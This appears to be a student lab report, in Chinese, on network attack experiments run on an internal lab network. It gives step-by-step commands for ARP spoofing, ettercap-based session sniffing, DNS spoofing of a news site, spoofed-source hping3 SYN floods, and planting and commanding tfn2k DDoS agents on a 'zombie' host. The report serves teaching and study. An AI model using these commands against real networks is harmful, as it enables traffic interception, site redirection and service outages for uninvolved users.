【计算机网络安全】网络攻击
实验二 网络攻击
实验人员:第五组全体成员
一、实验目的:
1:掌握ARP欺骗的原理,实践ARP欺骗的过程。
2:掌握TCP劫持的原理,实践TCP劫持的过程。
3:掌握DNS欺骗的原理,实践DNS欺骗的过程。
4:掌握DOS攻击的原理,实践DOS攻击的过程。
二、实验原理、设计(+拓扑):
1:网络拓扑图
2:实验原理
【1】ARP欺骗
攻击者通过伪造和发送虚假的ARP响应报文,使目标主机或网络设备(如交换机、路由器)更新其ARP表中IP地址与MAC地址的对应关系,从而达到拦截、篡改或窃取网络数据的目的。
ARP协议用于将IP地址解析为MAC地址。当主机A需要与主机B通信但不知道主机B的MAC地址时,主机A会广播ARP请求,主机B回复自己的MAC地址,主机A将此对照关系存储到ARP缓存中。
【2】TCP劫持
攻击者通过伪造或篡改TCP连接的通信数据,从而插入、拦截、或修改通信流量。攻击者通过窃听正在进行的TCP连接,获取当前的序列号和其他连接信息。攻击者伪造合法的TCP报文(如带有正确序列号和确认号),插入到通信中,冒充一方与另一方通信。如果攻击者成功,通信的合法一方可能被中断或忽略,攻击者完全接管会话。
TCP协议在建立连接时,采用三次握手过程。第一次是客户端向服务器发送SYN报文(请求建立连接)。第二次是服务器收到请求后发送SYN-ACK报文(确认连接请求)。第三次是客户端收到确认后发送ACK报文(确认接收服务器的响应),连接建立。
【3】DNS欺骗
攻击者通过伪造域名解析结果,将用户引导到错误的IP地址或恶意网站。这种攻击通常利用DNS协议缺乏验证机制的漏洞,目的是中断正常通信、窃取敏感信息或传播恶意软件。攻击者伪装成权威DNS服务器,发送伪造的响应报文给本地DNS服务器。本地DNS服务器接收伪造的结果,并将其缓存。用户查询时,本地DNS服务器返回伪造的结果。
DNS将人类可读的域名解析为计算机可读的IP地址。解析过程通常包括多个步骤,由本地DNS服务器和权威DNS服务器共同完成。用户向本地DNS服务器发送查询请求。如果本地DNS服务器无法直接回答,会递归查询权威DNS服务器获取正确的IP地址。本地DNS服务器将结果返回给用户,同时缓存解析结果以便后续使用。
【4】DOS攻击
攻击者通过大量非法请求消耗目标服务器、网络或系统的资源,使其无法正常提供服务。DoS攻击的目的是让合法用户无法访问服务,而不是直接窃取或篡改数据。
【5】DDos攻击
DDoS(分布式拒绝服务攻击)是一种DoS(拒绝服务攻击)的升级版。攻击者利用分布式设备(通常是由恶意软件控制的“僵尸网络”)同时向目标发送大量流量或请求,从而导致目标系统资源耗尽或网络带宽堵塞,无法为正常用户提供服务。
三、实验步骤、内容、数据(现象):
以下为方便叙述在内网中的各个主机的ip地址,定义1号主机的ip为10.205.5.11,2号主机的ip为10.205.5.22,3号主机的ip为10.205.5.33,4号主机的ip为10.205.5.44。
内容1:内网中的ARP欺骗
【1】在3号主机上,配置内网服务器
通过apt install apache2,安装Web服务器依赖。
通过systemctl start apache2,启动apache2。
通过systemctl enable apache2,开启apache2的服务。
通过echo “<html><body><h1>hello</h1></body></html>” | sudo tee /var/www/html/index.html,配置本地的服务器网页内容。
通过systemctl restart apache2,重启apache2。
在火狐浏览器中输入10.205.5.33/index.html,访问配置好的内网服务器。
【2】在2号主机上,访问3号主机配置的内网服务器
通过traceroute 10.205.5.33,查看网络连通性。发现第一跳直接能访问内网服务器。
在火狐浏览器中输入10.205.5.33/index.html,发现2号主机可以正常访问内网服务器。
【3】在1号主机上,使用ARP攻击
通过arpspoof -I eth0 -t 10.205.5.22 10.205.5.33,攻击2号服务器。
【4】在2号主机上,再次访问3号主机配置的内网服务器
通过traceroute 10.205.5.33,查看网络连通性。发现无法进行路由的第一跳。
在火狐浏览器中输入10.205.5.33/index.html,发现2号主机不可以正常访问内网服务器。
【5】在1号主机上,停止ARP攻击
按下快捷键ctrl + C,停止ARP攻击。
【6】在2号主机上,再次访问3号主机配置的内网服务器
通过traceroute 10.205.5.33,查看网络连通性。发现第一跳直接能访问内网服务器。
综上所述,内网中的ARP欺骗需要3台主机,其中1台主机配置内网服务器,1台主机进行攻击,1台主机被攻击。
内容2:TCP劫持
【1】在4号主机上,开启ettercap
通过ettercap -G,启动嗅探。
primary interface选择内网网卡。
点击左上角的放大镜logo,扫描网段内的用户。
点击右上角的更多,选择hosts,选择hosts list。
查询到2个host信息,分别是1号主机和3号主机,同时还有他们的IP地址和对应的MAC地址。
注:后续我们将靶机换成了2号主机和3号主机。
【2】在4号主机上,设置靶机并进行ARP欺骗
把3号主机放到target1中,把2号主机放到target2中。
选择菜单中的ARP poisoning,进行ARP欺骗。
【3】在靶机上,查看欺骗结果
通过arp -a,在3号主机上查看缓存信息中IP地址和MAC地址的对应关系。
发现网段中所有的IP地址所对应的MAC地址均为同一个00开头d4结尾的地址。
在4号主机上,通过ifconfig,查到该MAC地址是4号主机的内网MAC,说明欺骗成功。
【4】在靶机上,模拟劫持登录
在3号主机上,通过ssh kali[at]10.205.5.22,访问2号主机的非root账户,并输入密码进行登录。
注:2号主机需要开启ssh服务,通过systemctl start ssh。
在3号主机上,继续通过ifconfig,查看该账户的ip地址。发现确为2号主机。
【5】在4号主机上,查看连接情况
点击ettercap右上角的view,点击connections,发现有一个22端口的连接包。
双击打开,可以获取到该包的加密后信息。
内容3:DNS欺骗
【1】在3号主机上,编辑ettercap工具的DNS配置文件
通过gedit /etc/Ettercap/etter.dns,在编辑框下打开dns配置文件。在非注释部分添加新的A记录和PTR记录。
Dns配置文件打开后的内容,如下图所示。在配置文件中,需要按照[域名 + 记录类型 + 攻击者主机IP地址]的形式添加记录。
此处假设需要劫持的网站域名是新浪www.sina.com.cn,且3号主机的外网IP是192.168.0.117,那么需要增加的A记录和PTR记录分别是:
www.sina.com.cn A 192.168.0.117
www.sina.com.cn PTR 192.168.0.117
记录添加完成后,通过快捷键ctrl + s保存dns配置文件。
【2】在3号主机上,启动kali内置的apache服务
通过service apache2 start,启动apache服务。
这个步骤可以使得靶机能够访问到攻击主机所设置的被dns劫持后的页面,默认为页面是在攻击主机的/var/www/html/index.html文件下。以下是3号主机在内网ip下的访问结果。
【3】在3号主机上,启动ettercap工具并嗅探靶机
通过ettercap -G,打开ettercap的可视化界面。
在初始化菜单栏中,选择外网网卡接口,并嗅探外网存活的主机IP。
查看扫描结果,并把目标靶机设置为target1,把网关设置为target2。在此处,目标靶机是2号主机,其外网ip是192.168.0.122。默认网关是192.168.0.254。
【4】在3号主机上,对靶机进行dns攻击
点击插件plugins,选择manage plugins。
双击dns_spoof,启动dns攻击。此后靶机无法正常访问新浪网站。
再次双击dns_spoof,可以停止对靶机的dns攻击。
【其他】使用终端命令,启动对目标靶机进行dns攻击
在1号主机上,通过ipconfig,查看本地网络配置。
在3号主机上,通过arpspoof -i eth1 -t 192.168.0.123 192.168.0.254,对1号主机进行外网的arp攻击。
在1号主机上,通过arp -a,查看arp缓存表。可以发现攻击主机的ip地址和物理地址已被加入。
在3号主机上,通过ettercap -i eth1 -Tp -M arp:remote -P dns_spoof /192.168.0.123// /192.168.0.254//,对1号主机进行外网的dns攻击。
在1号主机上,通过ping www.sina.com.cn,访问新浪网站。可以发现回复的ip是192.168.0.117,为3号主机的外网ip。
在3号主机上,可以看到1号主机的TCP包的去向。
内容4:DOS攻击(kali攻击kali)
【1】在3号主机上,对4号主机进行一对一的dos攻击
通过hping -I eth0 -a 10.205.5.55 -S 10.205.5.44 -p 80 -I u1000,把3号主机的ip地址伪装成10.205.5.55,向4号主机发送SYN包,发起大量SYN连接进行攻击。
【2】在4号主机上,查看wireshark的抓包结果
在wireshark的抓包中,可以看到有许多源地址为10.205.5.55且目标地址为10.205.5.44的SYN包。说明3号主机伪装ip攻击成功。
内容5:DOS攻击(kali攻击windows)
【1】在3号主机上,测试网络连通性
通过ping 10.205.5.22,测试3号主机与2号主机在内网下的连通性。
通过windows任务管理器查看3号主机的性能,发现一切正常。
【2】在2号主机上,使用dos攻击
通过hping3 -q -n -a 1.1.1.2 -S -s 53 –keep -p 445 –flood 10.205.5.33,对3号主机进行SYN FLOOD攻击。
【3】在3号主机上,查看任务管理器
3号主机的性能中,内存方面直接爆炸,电脑出现严重卡顿。
内容6:DDOS攻击(tfn2k)
【1】在2号主机上,下载并解压tfn2k
在学吧网站上,把tfn2k软件包下载到kali系统上。
通过tar -zxvf tfn2k.tar.gz -C ./,解压tfn2k到当前目录。
【2】在2号主机上,编译tfn2k
通过cd ./tfn2k,进入tfn2k目录下。
通过sudo make,编译tfn2k,此步需要输入kali用户下的密码。
在编译过程中,需要自定义8到32位的密钥,并记住。为了方便,此处我们使用了12345678作为密钥。
编译完成后,通过ls,检查编译结果。可以看到文件目录下新增了td和tfn这2个文件。
tfn为主控端,通过此程序对代理端加密、下发攻击指令。Td为代理端,负责解密、接受攻击命令并发起攻击。代理端和主控端之间的⽹络通讯是进⾏加密的,使⽤的是AES对此加密算法,所以作为加密、解密的双⽅都需要知道密钥,加密⽅使⽤密钥对信息进⾏加密,解密⽅使⽤密钥对信息解密。
【3】在2号主机上,把td代理持续植入肉鸡
通过touch ip.txt,新建记录肉鸡ip地址的文本文件。
通过echo “10.205.5.33”>ip.txt,把3号主机当作肉鸡,填写到文本文件中。
通过rsync ./td kali@10.205.5.33:~/,把td文件传到肉鸡上。此步需要输入3号主机的kali用户密码。
【4】在2号主机上,通过ssh登录肉鸡并配置td
通过ssh kali@10.205.5.33,登录3号主机。
通过ifconfig,查看是否登录成功。可以发现eth0显示为10.205.5.33,说明ssh登录肉鸡成功。
通过su,登录3号主机的root用户。
通过./td,运行td文件。
通过ps -a,查看td是否运行成功。
【5】在2号主机上,新建终端,进行控制测试
通过./tfn -f ip.txt -c 10 -i "mkdir /home/kali/hello",在肉鸡的kali用户下建立一个hello文件。
在3号主机的该路径下,可以查看到新建了文件夹。这说明操纵机可以通过td操纵肉鸡。
【6】在2号主机上,操纵肉鸡,对目标机器进行攻击
通过./tfn -f ip.txt -c 6 -I 10.205.5.11,操纵3号主机对1号主机进行攻击。
通过./tfn -f ip.txt -c 0,停止攻击。
【7】在1号主机上,通过wireshark抓包查看攻击过程
2号主机可以通过-c,控制攻击所发送的包的类型。
当-c后面所带的参数是6时,采用短时间内发送大量的ICMP包进行攻击。
当-c后面所带的参数是5时,采用短时间内发送大量的TCP包进行攻击。
当-c后面所带的参数是4时,采用短时间内发送大量的UDP包进行攻击。
当-c后面所带的参数是8时,采用短时间内发送大量的混合包(ICMP+UDP+TCP)进行攻击。
四、思考(问题小结,包括未解决)
1:在dns攻击中,目标靶机必须在windows下运行,同时需要先开启arp攻击,再开启dns攻击。如果目标靶机在kali下运行,则在外网条件下,arp攻击都是无效的。
2:在内网条件下进行arp攻击时,攻击主机需要先在本地配置一个内网服务器。
3:在进行ddos多对一攻击时,需要区分当前终端下的用户是来自操纵机器还是来自肉鸡。同时需要判断新建的文件夹是在操纵机器上还是在肉鸡上。
相关文章:

【计算机网络安全】网络攻击
实验二 网络攻击 实验人员:第五组全体成员 一、实验目的: 1:掌握ARP欺骗的原理,实践ARP欺骗的过程。 2:掌握TCP劫持的原理,实践TCP劫持的过程。 3:掌握DNS欺骗的原理,实践DN…...

20241230 基础数学-线性代数-(1)求解特征值(numpy, scipy)
所有代码实现,基于教程中的理论通过python实现出来的。效率不高,但有代码可以看。 由于scipy/sckitlearn/sparkx 底层的实现都被封装了(小白兔水平有限,fortran代码实在没看懂)这里的实现至少可以和理论公式对应的上。…...

基于图注意力网络的两阶段图匹配点云配准方法
Two-stage graph matching point cloud registration method based on graph attention network— 基于图注意力网络的两阶段图匹配点云配准方法 从两阶段点云配准方法中找一些图匹配的一些灵感。文章提出了两阶段图匹配点云配准网络(TSGM-Net) TSGM-Ne…...

【半导体光电子器件】课后习题答案和知识点汇总
关注作者了解更多 我的其他CSDN专栏 求职面试 大学英语 过程控制系统 工程测试技术 虚拟仪器技术 可编程控制器 工业现场总线 数字图像处理 智能控制 传感器技术 嵌入式系统 复变函数与积分变换 单片机原理 线性代数 大学物理 热工与工程流体力学 数字信号处…...

Unity命令行传递自定义参数 命令行打包
命令行参数增加位置 -executeMethod 某脚本.某方法 参数1 参数2 参数3 ... 例如执行EditorTest.GetCommandLineArgs方法 增加两个命令行参数 Version=125 CDNVersion=100 -executeMethod EditorTest.GetCommandLineArgs Version=125 CDNVersion=100 Unity测试脚本 需要放在…...

web-worker应用在大文件切片上传
当文件体积过大时,传统的文件上传方式往往会导致页面卡顿,用户体验不佳。为了解决这一问题,我们可以利用Web Worker技术来进行大文件的切片上传。本文将详细介绍如何使用Web Worker进行大文件切片上传,并通过具体的例子来演示其实…...

Django 模板分割及多语言支持案例【需求文档】-->【实现方案】
Django 模板分割及多语言支持案例 这个案例旨在提供一个清晰的示范,展示如何将复杂的页面分解为多个可复用的模板组件,使代码更加模块化和易于管理。希望这篇案例文章对你有所帮助。 概述 在 Django 项目开发中,使用模板分割和多语言支持能…...

C中设计不允许继承的类的实现方法是什么?
在C中,设计不允许继承的类可以通过多种方法实现。以下是详细的方法说明及示例: ### 方法一:将构造函数和析构函数设为私有 这种方法的核心思想是通过将构造函数和析构函数设为私有,使得子类无法调用这些函数,从而无法…...

面对小白的C语言学习方法
这是第20篇文章,不来弄一些技术的,弄一些最近的学习心得,怎么更有效地自学C语言 书籍 书籍可以很有效的告知我们专有函数,使用方法还有一些思考方式,缺点是实操差点意思,还是不太能解决实际问题ÿ…...

使用libgif库解码全过程(C语言)-包括扩展块的处理
我看到的所有例程,都把扩展部分的处理跳过了,而我的动画是有透明度的,这就导致解码后的图像在有透明色的像素部分,呈现了很多的黑点,或者闪白的情况出现。经过调试,终于成功。 文件格式 先了解一下GIF的文…...

blazor实现ASP.NET网站用户批量注册方法
ASP.NET网站用户批量注册是许多使用blazor系统开发遇到的问题,为了解决这个问题,我们提出比较完善的解决方法,通过代码实现了一个批量用户注册功能,用于解析一份用户名列表,并通过后台服务注册用户,同时对成功和失败的注册进行记录和反馈。以下是实现功能的详细工作原理描…...

SpringCloud 入门(4)—— 网关
上一篇:SpringCloud 入门(3)—— Nacos配置中心-CSDN博客 Spring Cloud Gateway 作为 Spring Cloud 生态系统的一部分,主要在微服务架构中充当 API 网关的角色。它提供了统一的入口点来处理所有的 HTTP 请求,并将这些请…...

什么是WebAssembly?怎么使用?
一、简述 WebAssembly,也称为Wasm,是基于堆栈的虚拟机的二进制指令格式。它被设计为一个可移植的目标,用于编译C、C和Rust等高级编程语言,允许代码以接近本机速度在web浏览器中运行。WebAssembly于2015年由包括谷歌、微软、Mozill…...

v3s点RGB屏 40pin 800x480,不一样的点屏,不通过chosen。
一、背景、目的、简介。 一般来说,通过uboot将屏幕参数传给kernel,是通过修改设备树。 uboot和kernel都需要屏幕点亮。uboot侧重于显示一张图片。而kernel则多是动画。 在这里,我先是找到了一个裸机点屏的代码。将其编译成静态库后&#x…...

某科技局国产服务器PVE虚拟化技术文档
环境介绍 硬件配置 服务器品牌:黄河 型号:Huanghe 2280 V2 Cpu型号:kunpeng-920 磁盘信息 :480SSD * 2 ,4T*4 网卡:板载四口千兆 如下表 四台服务器同等型号配置,均做单节点虚拟化,数据保护采用底层r…...

中科岩创边坡自动化监测解决方案
行业现状 由于边坡不稳定性因素,可能会造成斜坡上的岩土体沿着某个面不均匀向下向外滑动,形成滑坡;陡峭山坡上岩土体在重力作用下,发生陡然倾落运动,造成崩塌;在沟谷或山坡上产生的夹带大量泥沙、石块等固体…...

GPT-O3:简单介绍
GPT-O3:人工智能领域的重大突破 近日,OpenAI发布了其最新的AI模型GPT-O3,这一模型在AGI评估中取得了惊人的成绩,展现出强大的能力和潜力。GPT-O3的出现标志着人工智能领域的重大进步,预计将在2025年实现更大的突破。 …...

cudnn版本gpu架构
nvcc --help 可以看 --gpu-architecture 写到的支持的架构 NVIDIA 的 GPU 架构是按代次发布的,以下是这些架构的对应说明: NVIDIA Hopper: 这是 NVIDIA 于 2022 年推出的架构之一,面向高性能计算(HPC)和人工智能&…...

数据库安全-redisCouchdb
1.redis未授权访问 默认端口:6379 1.1 Redis沙盒逃逸漏洞RCE-CVE-2022-0543 介绍:Redis 是一套开源的使用 ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。Redis 如果在没有开启认证的情况下,…...

ubuntu22.04安装PaddleX3
PaddleOCR 安装过程可以参考PaddleX本地安装教程 我的电脑环境配置: ubuntu22.04 cuda11.8(之前安装的是12.4没有匹配的paddle-gpu;这里改成11.8) 一、安装基础环境 1、 conda create -n ppx1 python3.10 2、 conda activate ppx1 3、…...

Flutter 实现全局悬浮按钮学习
Flutter 代码如何实现了一个全局悬浮按钮,当点击按钮时,会显示一个可以拖动并且通过长按可以移除的悬浮控件。 前置知识点学习 Offset Offset 是 Flutter 中的一个类,用于表示二维平面中的位置或位移。它通常用于描述坐标系中的一个点&…...

14-C语言多文件编程
一、各种变量 在学习多文件编程之前,先要了解清楚各种变量的作用范围以及生命周期。 1.普通变量 1.1普通局部变量 定义形式:在复合语句{}里面定义的变量为普通局部变量;作用范围:在复合语句{}里面有效;生命周期&am…...

基于Springboot的在线问卷调查系统【附源码】
基于Springboot的在线问卷调查系统 效果如下: 系统主页面 问卷列表页面 个人中心页面 系统登陆页面 管理员主页面 问卷管理页面 研究背景 随着互联网技术的飞速发展,传统的问卷调查方式因其时间和地点的限制,难以高效地收集到足够的数据。…...

Redis热点数据管理全解析:从MySQL同步到高效缓存的完整解决方案
1. 引言 1.1 背景介绍:MySQL与Redis在高性能场景下的结合 在现代互联网应用中,MySQL作为关系型数据库,承担了大量业务数据的存储任务。然而,随着业务的增长,海量数据的查询性能成为一个瓶颈。为了应对高并发和低延迟…...

【图书介绍】】几本Linux C\C++编程图书
Linux C\C编程,是IT领域比较稳定的职业发展方向,本文介绍几本Linux开发方面的图书。 《Linux C与C一线开发实践(第2版)》 《Linux C与C一线开发实践(第2版)(Linux技术丛书)》(朱文…...

MFC/C++学习系列之简单记录7
MFC/C学习系列之简单记录7 前言句柄的介绍句柄的使用AFX开头的函数都是干什么用的?总结 前言 在MFC的使用中发现了句柄,今天来详细学习一下MFC中如何使用句柄吧! 句柄的介绍 句柄的使用是资源管理和传递的关键机制,通过句柄将系…...

使用GPT进行SCI论文润色常用语句
声明:本文仅作为本人记录学习使用。 You are now a professional academic touch-up specialist. Please polish the English draft I am sending you next. After analyzing the paragraph, give suggestions for polishing in terms of sentence structure, gram…...

Redis密码设置与访问限制(网络安全)
现在用redis缓存热数据越来越常见了,甚至一些配置,开关等等的东西也写到redis里。原因就是redis简单高效。redis里的数据也越来越重要了,例如一些业务的中间数据会暂时存放在redis里,所以限制redis的访问还是很有必要。 本文通过…...

php的线程安全与非线程安全版本的区别
PHP的线程安全(Thread Safe,简称TS)与非线程安全(Non-Thread Safe,简称NTS)版本主要在多线程环境下的行为特性、性能、以及适用场景上存在差异。以下是两者的详细对比: 一、定义与概念 线程安…...

标贝科技受邀出席2024ADD数据应用场景大会 共议数据要素发展新契机
12月13日,由北京市通州区人民政府主办,通州区经济和信息化局、通州区台湖镇人民政府承办的2024-ADD数据应用场景大会成功举办。标贝科技作为AI数据领域代表企业受邀出席大会,与数据要素创业者、投资人一起走进通州台湖,共话数据要…...